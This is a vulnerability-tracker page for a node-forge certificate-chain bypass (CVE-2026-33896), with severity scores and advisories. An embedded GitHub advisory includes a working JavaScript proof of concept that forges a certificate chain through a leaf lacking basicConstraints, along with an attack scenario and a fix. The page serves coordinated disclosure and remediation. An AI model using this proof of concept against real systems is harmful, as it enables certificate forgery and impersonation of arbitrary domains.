CVE-2026-33896

criticalpriority · track · 36EPSS 0.005 · 42 %ileDEEUUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
0.50% (42nd) EPSS
CVSS 9.1 · critical
Is it mine?
27 products
Check your exposure
Who says so?
4 sources
cnnvd · enisa_euvd · cert_bund · osv

EPSS · scored 2026-10-22

Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, `pki.verifyCertificateChain()` does not enforce RFC 5280 basicConstraints requirements when an intermediate certificate lacks both the `basicConstraints` and `keyUsage` extensions. This allows any leaf certificate (without these extensions) to act as a CA and sign other certificates, which node-forge will accept as valid. Version 1.4.0 patches the issue.

01

cvss

Technical severity, 0–10. One row per scoring source.

9.1
010

base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · high–critical · 7.4–9.1

v3.19.1criticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:Nprimary · NVD / NIST USexploitability 3.9 · impact 5.2
v3.17.4highCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:Nsecondary · ENISA EU
v3.17.4highCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:Nsecondary · security-advisories@github.comexploitability 2.2 · impact 5.2
v3.17.4highCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:Nsecondaryexploitability 2.2 · impact 5.2
v3.17.4highCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:Nsecondary · OSV
v3.18.3highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N/E:Usecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: poc · Automatable: no · Technical Impact: totalcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

affected products (27)

Products and version ranges known to be affected.

showing 20 of 27
05

advisories (2)

Vendor and ecosystem advisories describing this.

  • WID-SEC-W-2026-1407IBM App Connect Enterprise Certified Container: Mehrere SchwachstellenDeutsch2026-05-06csaf · cert_bundDE

    Ein Angreifer kann mehrere Schwachstellen in IBM App Connect Enterprise Certified Container ausnutzen, um beliebigen Code auszuführen, Sicherheitsmaßnahmen zu umgehen, Cross-Site-Scripting-Angriffe durchzuführen, Daten zu manipulieren, vertrauliche Informationen offenzulegen oder einen Denial-of-Service-Zustand zu verursachen.

  • GHSA-2328-f5f3-gj25Forge has a basicConstraints bypass in its certificate chain verification (RFC 5280 violation)2026-03-26ghsa · osvUS

    ## Summary `pki.verifyCertificateChain()` does not enforce RFC 5280 basicConstraints requirements when an intermediate certificate lacks both the `basicConstraints` and `keyUsage` extensions. This allows any leaf certificate (without these extensions) to act as a CA and sign other certificates, which node-forge will accept as valid. ## Technical Details In `lib/x509.js`, the `verifyCertificateChain()` function (around lines 3147-3199) has two conditional checks for CA authorization: 1. The `keyUsage` check (which includes a sub-check requiring `basicConstraints` to be present) is gated on `keyUsageExt !== null` 2. The `basicConstraints.cA` check is gated on `bcExt !== null` When a certificate has **neither** extension, both checks are skipped entirely. The certificate passes all CA validation and is accepted as a valid intermediate CA. **RFC 5280 Section 6.1.4 step (k) requires:** > "If certificate i is a version 3 certificate, verify that the basicConstraints extension is present and that cA is set to TRUE." The absence of `basicConstraints` should result in rejection, not acceptance. ## Proof of Concept ```javascript const forge = require('node-forge'); const pki = forge.pki; function generateKeyPair() { return pki.rsa.generateKeyPair({ bits: 2048, e: 0x10001 }); } console.log('=== node-forge basicConstraints Bypass PoC ===\n'); // 1. Create a legitimate Root CA (self-signed, with basicConstraints cA=true) const rootKeys = generateKeyPair(); const rootCert = pki.createCertificate(); rootCert.publicKey = rootKeys.publicKey; rootCert.serialNumber = '01'; rootCert.validity.notBefore = new Date(); rootCert.validity.notAfter = new Date(); rootCert.validity.notAfter.setFullYear(rootCert.validity.notBefore.getFullYear() + 10); const rootAttrs = [ { name: 'commonName', value: 'Legitimate Root CA' }, { name: 'organizationName', value: 'PoC Security Test' } ]; rootCert.setSubject(rootAttrs); rootCert.setIssuer(rootAttrs); rootCert.setExtensions([ { name: 'basicConstraints', cA: true, critical: true }, { name: 'keyUsage', keyCertSign: true, cRLSign: true, critical: true } ]); rootCert.sign(rootKeys.privateKey, forge.md.sha256.create()); // 2. Create a "leaf" certificate signed by root — NO basicConstraints, NO keyUsage // This certificate should NOT be allowed to sign other certificates const leafKeys = generateKeyPair(); const leafCert = pki.createCertificate(); leafCert.publicKey = leafKeys.publicKey; leafCert.serialNumber = '02'; leafCert.validity.notBefore = new Date(); leafCert.validity.notAfter = new Date(); leafCert.validity.notAfter.setFullYear(leafCert.validity.notBefore.getFullYear() + 5); const leafAttrs = [ { name: 'commonName', value: 'Non-CA Leaf Certificate' }, { name: 'organizationName', value: 'PoC Security Test' } ]; leafCert.setSubject(leafAttrs); leafCert.setIssuer(rootAttrs); // NO basicConstraints extension — NO keyUsage extension leafCert.sign(rootKeys.privateKey, forge.md.sha256.create()); // 3. Create a "victim" certificate signed by the leaf // This simulates an attacker using a non-CA cert to forge certificates const victimKeys = generateKeyPair(); const victimCert = pki.createCertificate(); victimCert.publicKey = victimKeys.publicKey; victimCert.serialNumber = '03'; victimCert.validity.notBefore = new Date(); victimCert.validity.notAfter = new Date(); victimCert.validity.notAfter.setFullYear(victimCert.validity.notBefore.getFullYear() + 1); const victimAttrs = [ { name: 'commonName', value: 'victim.example.com' }, { name: 'organizationName', value: 'Victim Corp' } ]; victimCert.setSubject(victimAttrs); victimCert.setIssuer(leafAttrs); victimCert.sign(leafKeys.privateKey, forge.md.sha256.create()); // 4. Verify the chain: root -> leaf -> victim const caStore = pki.createCaStore([rootCert]); try { const result = pki.verifyCertificateChain(caStore, [victimCert, leafCert]); console.log('[VULNERABLE] Chain verification SUCCEEDED: ' + result); console.log(' node-forge accepted a non-CA certificate as an intermediate CA!'); console.log(' This violates RFC 5280 Section 6.1.4.'); } catch (e) { console.log('[SECURE] Chain verification FAILED (expected): ' + e.message); } ``` **Results:** - Certificate with NO extensions: **ACCEPTED as CA** (vulnerable — violates RFC 5280) - Certificate with `basicConstraints.cA=false`: correctly rejected - Certificate with `keyUsage` (no `keyCertSign`): correctly rejected - Proper intermediate CA (control): correctly accepted ## Attack Scenario An attacker who obtains any valid leaf certificate (e.g., a regular TLS certificate for `attacker.com`) that lacks `basicConstraints` and `keyUsage` extensions can use it to sign certificates for ANY domain. Any application using node-forge's `verifyCertificateChain()` will accept the forged chain. This affects applications using node-forge for: - Custom PKI / certificate pinning implementations - S/MIME / PKCS#7 signature verification - IoT device certificate validation - Any non-native-TLS certificate chain verification ## CVE Precedent This is the same vulnerability class as: - **CVE-2014-0092** (GnuTLS) — certificate verification bypass - **CVE-2015-1793** (OpenSSL) — alternative chain verification bypass - **CVE-2020-0601** (Windows CryptoAPI) — crafted certificate acceptance ## Not a Duplicate This is distinct from: - CVE-2025-12816 (ASN.1 parser desynchronization — different code path) - CVE-2025-66030/66031 (DoS and integer overflow — different issue class) - GitHub issue #1049 (null subject/issuer — different malformation) ## Suggested Fix Add an explicit check for absent `basicConstraints` on non-leaf certificates: ```javascript // After the keyUsage check block, BEFORE the cA check: if(error === null && bcExt === null) { error = { message: 'Certificate is missing basicConstraints extension and cannot be used as a CA.', error: pki.certificateError.bad_certificate }; } ``` ## Disclosure Timeline - 2026-03-10: Report submitted via GitHub Security Advisory - 2026-06-08: 90-day coordinated disclosure deadline ## Credits Discovered and reported by Doruk Tan Ozturk ([@peaktwilight](https://github.com/peaktwilight)) — [doruk.ch](https://doruk.ch)

06

also known as (3)

Other names and identifiers for this entity.

07

sources

Which sources assert this record, and when.

published 2026-03-27modified 2026-09-04
08

references (14)

External citations — patches, advisories, analysis.

scry

Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.

Free scan